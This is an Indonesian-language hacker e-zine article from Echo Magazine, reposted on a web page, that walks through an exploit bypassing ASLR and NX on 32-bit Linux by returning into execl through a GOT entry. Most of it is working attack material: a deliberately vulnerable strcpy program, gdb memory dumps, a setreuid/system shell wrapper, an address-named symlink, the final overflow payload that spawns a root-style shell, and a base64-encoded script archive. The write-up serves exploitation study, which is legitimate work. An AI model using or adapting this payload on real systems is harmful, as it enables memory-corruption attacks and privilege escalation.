Copy Link
Add to Bookmark
Report

Echo Magazine Issue 23 Phile 0x006

eZine's profile picture
Published in 
Echo Magazine
 · 21 Aug 2020

  

) ) ) ( )
( ( /( ( /( ( /( )\ ) ( /(
( )\ )\()) )\()) )\())(()/( )\()) (
)\ (((_) ((_)\ ((_)\ ((_)\ /(_))((_)\ )\
((_) )\___ _((_) ((_) _((_)(_)) _((_)((_)
| __|((/ __|| || | / _ \|_ / |_ _| | \| || __|
| _| | (__ | __ || (_) |/ / | | | .` || _|
|___| \___||_||_| \___//___| |___| |_|\_||___|



ECHO MAGAZINE VOLUME VIII, ISSUE XXIII, PHILE 0x006.TXT

In The Name of Alternate Return Into the Path - Pachin Kuro Kuro
kyle/dot/broflovskix/at/gmail/dot/com

-----[ INTRODUCTION

Sejak rilis kernel versi 2.6.x, sistem operasi GNU/Linux telah menerapkan
secara default segala hal yang berkaitan dengan sekuritas. Dari random stack
address, random heap, random library address, stack cookies hingga implementasi
NX (No Execute).

Dan seiring perjalanan waktu, telah banyak pula bermunculan teknik-teknik yang
luar biasa super sekali membikin mata terbelalak dalam mengeksploitasinya, dan
banyak sekali cara yang digunakannya. Salah satunya adalah Return to Library,
Brute Forcing ASLR atau yang baru saja naik daun beberapa waktu lalu yaitu
Return Oriented Programming. Kali ini saya akan mengulas sedikit tentang teknik
eksploitasi bypassing ASLR dan NX dengan cara campur aduk tapi tetap super
sekali. Ikuti terus ma pren :D

-----[ RETURN INTO WHAT??

Proses eksploitasi dengan membypass Randomize Layer seperti ASLR sudah banyak
bermunculan dan diulas. Bahkan beberapa bulan yang lalu teknik eksploitasi
dengan metode Return Oriented Programming (ROP) yang membypass Randomize Layer
dan NXbit naik daun, apalagi setelah Dino Dai Zovi mempresentasikan metode ROP
dengan detail dan jelas. Sedangkan disatu sisi, teknik eksploitasi Return To
Library masih tetap menjadi pilihan dan mengalami perkembangan.

Mulai dari Return into Stack, Return into ESP, Return Into GOT dan lain-lain.
Namun, dari sekian banyak pilihan itu saya belum menemukan adanya proses
eksploitasi yang membypass Randomize Layer menggunakan register EBP. Padahal,
register EBP berfungsi sebagai penunjuk lokasi atau Base Pointer. Dengan kata
lain, ia tidak di random oleh randomize layer.

Disini saya akan mencoba melakukan proses eksploitasi dengan memanfaatkan
register EBP sebagai batu pijakan. Proses eksploitasinya dengan menggunakan dua
metode eksploitasi yaitu return into library dan GOT overwrite, karena disini
kita akan mencoba membypass Randomize Library dan NXBit karena didalam layer
NXbit secara default, area .text tidak di atur apakah boleh mengeksekusi atau
tidak.

Ya mendingan langsung saja karena mata saya sudah terkena efek blur.


-----[ START JURAGAN

Oke, jadi sekarang kita mulai memanaskan mesinnya, ambil contoh potongan script
sederhana dibawah ini sebagai permulaan selain ndak ribet juga ndak bikin
pening ahahaha.

korban@korban:~/Project/Ret2Path$ cat vuln.c
#include <stdio.h>
int main(int argc, char **argv)
{
char buf[8];
strcpy(buf, argv[1]);
printf("\nEnte masukin inputan : %s\n\n",buf);
return 0;
}

Compile dengan opsi "-fno-stack-protector" karena fokus kita bukan membypass
stack protector, kita cuma kepingin mainan return to the path bypass ASLR aja,
ruwet kalo sama stack protector, ampun dije dah pokoknya.

korban@korban:~/Project/Ret2Path$ gcc vuln.c -o vuln -fno-stack-protector

Dan mari kita debug pake gdb

korban@korban:~/Project/Ret2Path$ gdb -q vuln
Reading symbols from /home/korban//Project/Ret2Path/vuln...(no debugging symbols found)...done.
(gdb) disass main
Dump of assembler code for function main:
0x080483f4 <main+0>: push %ebp
0x080483f5 <main+1>: mov %esp,%ebp
0x080483f7 <main+3>: and $0xfffffff0,%esp
0x080483fa <main+6>: sub $0x20,%esp
0x080483fd <main+9>: mov 0xc(%ebp),%eax
0x08048400 <main+12>: add $0x4,%eax
0x08048403 <main+15>: mov (%eax),%eax
0x08048405 <main+17>: mov %eax,0x4(%esp)
0x08048409 <main+21>: lea 0x18(%esp),%eax
0x0804840d <main+25>: mov %eax,(%esp)
0x08048410 <main+28>: call 0x8048314 <strcpy@plt>
0x08048415 <main+33>: mov $0x8048500,%eax
0x0804841a <main+38>: lea 0x18(%esp),%edx
0x0804841e <main+42>: mov %edx,0x4(%esp)
0x08048422 <main+46>: mov %eax,(%esp)
0x08048425 <main+49>: call 0x8048324 <printf@plt>
0x0804842a <main+54>: mov $0x0,%eax
0x0804842f <main+59>: leave
0x08048430 <main+60>: ret
End of assembler dump.

Bisa dilihat pada hasil disassemble main, input yang akan kita masukkan
nantinya di proses pada baris main+28 (0x08048410) sehingga untuk melihat
dimana posisi inputan yang akan kita masukkan nantinya kita break pada posisi
setelah input dimasukkan yaitu pada posisi main+33 (0x08048415).

(gdb) break *main+33
Breakpoint 1 at 0x8048415
(gdb)

Selanjutnya kita coba masukkan inputan, ambil contoh AAAA (karakter A empat
buah) karena nantinya jika ditelusuri akan mudah dikenali (0x41414141).

(gdb) r AAAA
Starting program: /home/korban//Project/Ret2Path/vuln AAAA

Breakpoint 1, 0x08048415 in main ()

Lanjut gan liat dimana letak inputan karakter AAAA yang baru aja dimasukkan

(gdb) x/8x $esp
0xbffff350: 0xbffff368 0xbffff5cf 0x08048450 0xbffff378
0xbffff360: 0x0015e985 0x0011eac0 0x41414141 0x00287f00
(gdb)

Nah ketemu khan, dapat kita lihat posisi inputannya di situ, ini mau diulang
berapa kalipun nilainya bakalan tetap sama karena posisi ini ndak di random
sama ASLR. Oke deh selanjutnya kita cari posisi fungsi execl di memory letaknya
ada dimana

(gdb) x/x execl
0x1c8820 <execl>: 0x53565755
(gdb) x/8i execl
0x1c8820 <execl>: push %ebp
0x1c8821 <execl+1>: push %edi
0x1c8822 <execl+2>: push %esi
0x1c8823 <execl+3>: push %ebx
0x1c8824 <execl+4>: sub $0x1018,%esp
0x1c882a <execl+10>: mov 0x1030(%esp),%eax
0x1c8831 <execl+17>: lea 0x1034(%esp),%edx
0x1c8838 <execl+24>: call 0x145b1f <__i686.get_pc_thunk.bx>
...
0x1c883d <execl+29>: add $0xbf7b7,%ebx
0x1c8843 <execl+35>: test %eax,%eax
0x1c8845 <execl+37>: mov %eax,0x18(%esp)
0x1c8849 <execl+41>: je 0x1c8952 <execl+306>
0x1c884f <execl+47>: lea 0x18(%esp),%eax
0x1c8853 <execl+51>: mov $0x1,%esi
0x1c8858 <execl+56>: mov %eax,0x14(%esp)
0x1c885c <execl+60>: mov %eax,%edi
...
0x1c885e <execl+62>: mov $0x400,%ebp
0x1c8863 <execl+67>: nop
0x1c8864 <execl+68>: lea 0x0(%esi,%eiz,1),%esi
0x1c8868 <execl+72>: mov -0x4(%edx,%esi,4),%eax
0x1c886c <execl+76>: test %eax,%eax
0x1c886e <execl+78>: mov %eax,(%edi,%esi,4)
0x1c8871 <execl+81>: je 0x1c88bd <execl+157>
0x1c8873 <execl+83>: add $0x1,%esi
...
0x1c8876 <execl+86>: cmp %esi,%ebp
0x1c8878 <execl+88>: jne 0x1c8868 <execl+72>
0x1c887a <execl+90>: add %ebp,%ebp
0x1c887c <execl+92>: xor %eax,%eax
0x1c887e <execl+94>: cmp %edi,0x14(%esp)
0x1c8882 <execl+98>: lea 0x0(,%esi,8),%ecx
0x1c8889 <execl+105>: mov %ecx,0x4(%esp)
0x1c888d <execl+109>: cmovne %edi,%eax
(gdb)

Saya akan mengambil di execl+98 (0x1c8882) sebagai ebp pointnya. Sebenarnya
bisa dimana saja, selama dia memang masih berada di seputaran register ebp dan
ndak kena random dari ASLR juga sesuai dengan argumen dari execl. Kalo mau di
ikutin terus alur memorynya akan banyak terlihat posisi ebp point yang sesuai
dengan kriteria diinginkan execl.

Oke sekarang keluar dulu dari gdb nya, terus kita cari dulu posisi di memory
map yang ndak di random.

korban@korban:~/Project/Ret2Path$ cat /proc/self/maps
00258000-003af000 r-xp 00000000 08:02 168329 /lib/libc-2.3.3.so
003af000-003b1000 r--p 00157000 08:02 168329 /lib/libc-2.3.3.so
003b1000-003b2000 rw-p 00159000 08:02 168329 /lib/libc-2.3.3.so
003b2000-003b5000 rw-p 00000000 00:00 0
0055a000-00576000 r-xp 00000000 08:02 136635 /lib/ld-2.3.3.so
00576000-00577000 r--p 0001b000 08:02 136635 /lib/ld-2.3.3.so
00577000-00578000 rw-p 0001c000 08:02 136635 /lib/ld-2.3.3.so
00a21000-00a22000 r-xp 00000000 00:00 0 [vdso]
08048000-08051000 r-xp 00000000 08:02 913941 /bin/cat
08051000-08052000 r--p 00008000 08:02 913941 /bin/cat
08052000-08053000 rw-p 00009000 08:02 913941 /bin/cat
09650000-09671000 rw-p 00000000 00:00 0 [heap]
b76b9000-b78b9000 r--p 00000000 08:02 1051751 /usr/lib/locale/locale-archive
b78b9000-b78ba000 rw-p 00000000 00:00 0
b78d0000-b78d1000 r--p 002a1000 08:02 1051751 /usr/lib/locale/locale-archive
b78d1000-b78d3000 rw-p 00000000 00:00 0
bffc6000-bffe7000 rw-p 00000000 00:00 0 [stack]
korban@korban:~/Project/Ret2Path$

Yoi dah dari dua area di bawah ini ndak di random :

08048000-08051000 r-xp 00000000 08:02 913941 /bin/cat
08051000-08052000 r--p 00008000 08:02 913941 /bin/cat

Dan yang akan kita kulik-kulik itu yang bagian ini saja :

08048000-08051000 r-xp 00000000 08:02 913941 /bin/cat

Soalnya di area 0x08048000 ini tempat dimana aplikasinya di eksekusi (lihat
bagian r-xp nya itu). Dan untuk menuntaskannya sekali lagi masuk ke dalam gdb
juragaaaan buat ngeliat dimana tempat buat loncat nya :

korban@korban:~/Project/Ret2Path$ gdb -q vuln
Reading symbols from /home/korban/Project/Ret2Path/vuln...(no debugging symbols found)...done.
(gdb) break main
Breakpoint 1 at 0x80483f7
(gdb) r
Starting program: /home/korban/Project/Ret2Path/vuln

Breakpoint 1, 0x080483f7 in main ()
(gdb)

Kita coba liat dimana posisi global offset table nya, ane nyarinya manual
memang masih amatiran soalnya, kalo ada yang bisa otomatis nyari posisi global
offset table di .text bisa lebih cepet nyarinya.

(gdb) x/1024x 0x08049000
0x8049000: 0x464c457f 0x00010101 0x00000000 0x00000000
0x8049010: 0x00030002 0x00000001 0x08048340 0x00000034
0x8049020: 0x00001134 0x00000000 0x00200034 0x00280008
0x8049030: 0x001a001d 0x00000006 0x00000034 0x08048034
0x8049040: 0x08048034 0x00000100 0x00000100 0x00000005
0x8049050: 0x00000004 0x00000003 0x00000134 0x08048134
0x8049060: 0x08048134 0x00000013 0x00000013 0x00000004
0x8049070: 0x00000001 0x00000001 0x00000000 0x08048000
0x8049080: 0x08048000 0x00000524 0x00000524 0x00000005
0x8049090: 0x00001000 0x00000001 0x00000f14 0x08049f14
0x80490a0: 0x08049f14 0x00000104 0x0000010c 0x00000006
0x80490b0: 0x00001000 0x00000002 0x00000f28 0x08049f28
0x80490c0: 0x08049f28 0x000000c8 0x000000c8 0x00000006
0x80490d0: 0x00000004 0x00000004 0x00000148 0x08048148
0x80490e0: 0x08048148 0x00000044 0x00000044 0x00000004
0x80490f0: 0x00000004 0x6474e551 0x00000000 0x00000000
0x8049100: 0x00000000 0x00000000 0x00000000 0x00000006
0x8049110: 0x00000004 0x6474e552 0x00000f14 0x08049f14
0x8049120: 0x08049f14 0x000000ec 0x000000ec 0x00000004
0x8049130: 0x00000001 0x62696c2f 0x2d646c2f 0x756e696c
0x8049140: 0x6f732e78 0x0000322e 0x00000004 0x00000010
0x8049150: 0x00000001 0x00554e47 0x00000000 0x00000002
0x8049160: 0x00000006 0x0000000f 0x00000004 0x00000014
---Type <return> to continue, or q <return> to quit---
0x8049170: 0x00000003 0x00554e47 0xc2cc0481 0x79664843
0x8049180: 0x9e5ca4a2 0xc24ac2e0 0xf4f8cb83 0x00000002
0x8049190: 0x00000005 0x00000001 0x00000005 0x20002000
0x80491a0: 0x00000000 0x00000005 0xc0e34bad 0x00000000
0x80491b0: 0x00000000 0x00000000 0x00000000 0x00000001
0x80491c0: 0x00000000 0x00000000 0x00000020 0x00000037
0x80491d0: 0x00000000 0x00000000 0x00000012 0x00000029
0x80491e0: 0x00000000 0x00000000 0x00000012 0x00000030
0x80491f0: 0x00000000 0x00000000 0x00000012 0x0000001a
(gdb)
(gdb) x/1024x 0x08049000
0x8049000: 0x464c457f 0x00010101 0x00000000 0x00000000
0x8049010: 0x00030002 0x00000001 0x08048340 0x00000034
0x8049020: 0x00001134 0x00000000 0x00200034 0x00280008
0x8049030: 0x001a001d 0x00000006 0x00000034 0x08048034
0x8049040: 0x08048034 0x00000100 0x00000100 0x00000005
0x8049050: 0x00000004 0x00000003 0x00000134 0x08048134
0x8049060: 0x08048134 0x00000013 0x00000013 0x00000004
0x8049070: 0x00000001 0x00000001 0x00000000 0x08048000
0x8049080: 0x08048000 0x00000524 0x00000524 0x00000005
0x8049090: 0x00001000 0x00000001 0x00000f14 0x08049f14
0x80490a0: 0x08049f14 0x00000104 0x0000010c 0x00000006
0x80490b0: 0x00001000 0x00000002 0x00000f28 0x08049f28
0x80490c0: 0x08049f28 0x000000c8 0x000000c8 0x00000006
0x80490d0: 0x00000004 0x00000004 0x00000148 0x08048148
0x80490e0: 0x08048148 0x00000044 0x00000044 0x00000004
0x80490f0: 0x00000004 0x6474e551 0x00000000 0x00000000
0x8049100: 0x00000000 0x00000000 0x00000000 0x00000006
0x8049110: 0x00000004 0x6474e552 0x00000f14 0x08049f14
0x8049120: 0x08049f14 0x000000ec 0x000000ec 0x00000004
0x8049130: 0x00000001 0x62696c2f 0x2d646c2f 0x756e696c
0x8049140: 0x6f732e78 0x0000322e 0x00000004 0x00000010
0x8049150: 0x00000001 0x00554e47 0x00000000 0x00000002
0x8049160: 0x00000006 0x0000000f 0x00000004 0x00000014
---Type <return> to continue, or q <return> to quit---
0x8049170: 0x00000003 0x00554e47 0xc2cc0481 0x79664843
0x8049180: 0x9e5ca4a2 0xc24ac2e0 0xf4f8cb83 0x00000002
0x8049190: 0x00000005 0x00000001 0x00000005 0x20002000
0x80491a0: 0x00000000 0x00000005 0xc0e34bad 0x00000000
0x80491b0: 0x00000000 0x00000000 0x00000000 0x00000001
0x80491c0: 0x00000000 0x00000000 0x00000020 0x00000037
0x80491d0: 0x00000000 0x00000000 0x00000012 0x00000029
0x80491e0: 0x00000000 0x00000000 0x00000012 0x00000030
0x80491f0: 0x00000000 0x00000000 0x00000012 0x0000001a
0x8049200: 0x080484fc 0x00000004 0x000f0011 0x675f5f00
0x8049210: 0x5f6e6f6d 0x72617473 0x005f5f74 0x6362696c
0x8049220: 0x2e6f732e 0x495f0036 0x74735f4f 0x5f6e6964
0x8049230: 0x64657375 0x72747300 0x00797063 0x6e697270
0x8049240: 0x5f006674 0x62696c5f 0x74735f63 0x5f747261
0x8049250: 0x6e69616d 0x494c4700 0x325f4342 0x0000302e
0x8049260: 0x00000000 0x00020002 0x00010002 0x00010001
0x8049270: 0x00000010 0x00000010 0x00000000 0x0d696910
0x8049280: 0x00020000 0x00000049 0x00000000 0x08049ff0
0x8049290: 0x00000106 0x0804a000 0x00000107 0x0804a004
0x80492a0: 0x00000207 0x0804a008 0x00000307 0x0804a00c
0x80492b0: 0x00000407 0x53e58955 0xe804ec83 0x00000000
0x80492c0: 0x34c3815b 0x8b00001d 0xfffffc93 0x74d285ff
0x80492d0: 0x001ee805 0xf5e80000 0xe8000000 0x000001d0
---Type <return> to continue, or q <return> to quit---q
Quit
(gdb)

***mampus dah panjang bener***

Nah ane nemunya disini nih :

0x80492a0: 0x00000207 0x0804a008 0x00000000 0x0804a00c

Jadi dalam bahasa manusianya, jika nanti execl nya di eksekusi, maka ia akan
mengeksekusi program dan mengarahkan apapun inputannya ke 0x0804a008 dan
setelah itu diikuti oleh NULL jadi tetep stabil dan gak crash pas
eksploitasinya.

Selanjutnya nyari path yang bakalan dipake untuk ngelink eksekusi menuju
shellnya

(gdb) x/x 0x0804a008
0x804a008 <_GLOBAL_OFFSET_TABLE_+20>: 0x0804831a
(gdb)

Sip, pointing akhirnya di 0x0804831a, ubah jadi bentuk little endian siyap saji
\x1a\x83\x04\x08. Sip dah berarti sekarang kita dah dapet buat pengalamatan
loncatannya yaitu di \x1a\x83\x04\x08 ini karena execl bakal mengeksekusinya,
jadi saatnya kita buat link dari \x1a\x83\x04\x08 menuju shell.

korban@korban:~/Project/Ret2Path$ cat shell.c
#include <stdio.h>
int main()
{
setreuid(0,0);
system("/bin/sh");
}

korban@korban:~/Project/Ret2Path$ gcc shell.c -o shell
korban@korban:~/Project/Ret2Path$ ./shell
sh-3.00#

Sip jalan dah shellnya, lanjut mulai ke attack abuse dan segalanya. Pertama
buat dulu link dari \x1a\x83\x04\x08 menuju shell.

korban@korban:~/Project/Ret2Path$ ln -s shell `printf "\x1a\x83\x04\x08"`
korban@korban:~/Project/Ret2Path$

Attack vector yang akan kita lakukan adalah sebagai berikut :

./vuln `printf "[INPUTAN] [0x80492a0 - 20] [&execl+98]"`

Alasan mengapa 0x80492a0 dikurangi 20 karena pada informasi global offset table
0x80492a0 + 20 akan mempointing ke 0x0804831a yang telah kita ubah menjadi
little endian. 20 inputan awal digunakan untuk proses argumentasi awal yang
melewati register ebp untuk di eksekusi oleh execl.

Oke kalo begitu lanjut dan hasil akhirnya

korban@korban:~/Project/Ret2Path$ ./vuln `printf "AAAAAAAAAAAAAAAAAAAA\x8c\x92\x04\x08\x82\x88\x1c"`

Ente masukin inputan : aaaabbbbccccddddeeeeeÔøΩÔøΩÔøΩÔøΩ

sh-3.00#

Yap eksploitasi berhasil, selamat berakhir pekan dan tetap woyo ahahahaha



-----[ KESIMPULAN

Ada dua kesimpulan yang dapat diambil disini yaitu, 1) Proses Eksploitasi dalam
keadaan tidak tidur selama 36 jam ndak bagus dan suka ndak konsen. 2) Kembali
seperti yang telah banyak disebutkan oleh orang-orang bahwa ASLR tidak melulu
random.

Proses eksploitasi dengan memanfaatkan area register yang tidak dirandom masih
membuka kesempatan, dan NX Bit yang tidak membatasi exec di area .text
cenderung mengalami kisah tragis seperti di dalam sinetron ahahahaha.


-----[ SHOUT & THANKS
sum witwicky, y3dips, sakitjiwa, anton **ehm**, az001, rasarab, /b/, editor
yang mau menahan emosi karena mengedit tulisan berantakan ini, dan echo'ers sak
jagat memayu hayuning bawana.

-----[ REFERENSI

[1] "ASLR Smack & Laugh Reference".Tilo Muller 2008
http://netsec.cs.northwestern.edu/media/readings/defeating_aslr.pdf

[2] "Bypassing non-executable-stack during exploitation using return-to-libc".C0rtex 2006
www.infosecwriters.com/text_resources/pdf/return-to-libc.pdf

[3] "Overwriting the .dtors section".Ruan Bello Rivas 2001
http://synnergy.net/downloads/papers/dtors.txt

[4] "Address Space Randomization in 2.6".Corbet 2005
http://lwn.net/Articles/121845/

[5] "x86-64 Buffer Overflow Exploits and the Borrowed Code Chunks Exploitation Technique".Sebastian Krahmer 2005
http://www.suse.de/Àúkrahmer/no-nx.pdf


-----[ SKRAPT

begin-base64 644 skrapt.tar.gz
H4sIAJ2rCU0AA+3U3WqDMBQHcG/nUwTHwBZpEzU6trG7PUXbC6vpGmpTSWKh
jL37Yudgg32wgStj/99NPBpjwvEcs9FFY6fekKiTc96NLOf09fjCY4zTOIl5
FjOPsiTLEo/wQXfVa40tNCFeuS6kqndFJfS78756/keZ5/ybtajrSTnMN7oE
Z2n6Yf4Zzfr8M85yN88NCfcIHWY7b/3z/J9LVdZtJciNsZXcTda3vlSWbN1h
w5H/4J8ZYbVoZRXSiI6uXXwwVmzDYLqUyv02gbv36J/6FPBTff1vdo2wp6r/
OM77+qcpT+mx/tMc9f8bPqv/7qLQ92VE3OE1GY9dsD82hWO8bFezy0XXEqwu
m0Po4qibv5+xRdcpGu0WWIXBXN0pK9ySpt1IRaRqWlsockUuzFzNVRC5F7v5
WthWK0LRUAAAAAAAAAAAAAAAAAAAAL7pCfaVIwwAKAAA
====

+---------------------------------------------------------+
| ECHO MAGAZINE VOLUME VIII, ISSUE XXIII, PHILE 0x006.TXT |
+---------------------------------------------------------+
| 31 DESEMBER 2010 | http://ezine.echo.or.id |
+---------------------------------------------------------+

← previous
next →
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT